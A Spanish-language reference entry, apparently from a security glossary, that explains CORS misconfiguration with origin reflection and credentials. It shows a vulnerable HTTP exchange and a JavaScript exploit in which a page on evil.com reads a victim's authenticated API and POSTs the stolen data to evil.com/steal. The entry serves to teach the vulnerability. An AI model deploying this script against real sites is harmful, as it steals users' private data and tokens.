CORS Misconfiguration
AltoCross-Origin Resource Sharing Misconfiguration
Definición
Una mala configuración de CORS ocurre cuando un servidor define políticas de Cross-Origin Resource Sharing demasiado permisivas, permitiendo que sitios web maliciosos lean respuestas de la API autenticada. Esto puede permitir el robo de datos sensibles del usuario desde un dominio controlado por el atacante.
Impacto
Ejemplos
CORS con reflejo de origen
El servidor refleja automáticamente el encabezado Origin del atacante y permite credenciales. Esto permite que cualquier sitio web lea las respuestas de la API autenticada del usuario.
# El servidor refleja cualquier origen en Access-Control-Allow-Origin
# Petición desde el dominio del atacante:
GET /api/me HTTP/1.1
Host: victima.com
Origin: https://evil.com
Cookie: session=abc123
# Respuesta del servidor (vulnerable):
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"email": "victima@ejemplo.com", "token": "secreto123"}Explotación con JavaScript
Desde su página maliciosa, el atacante realiza una petición a la API de la víctima. Como CORS permite el origen y credenciales, el navegador incluye las cookies y el atacante recibe la respuesta con los datos privados.
<!-- Página del atacante en evil.com -->
<script>
fetch('https://victima.com/api/me', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Enviar datos robados al servidor del atacante
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>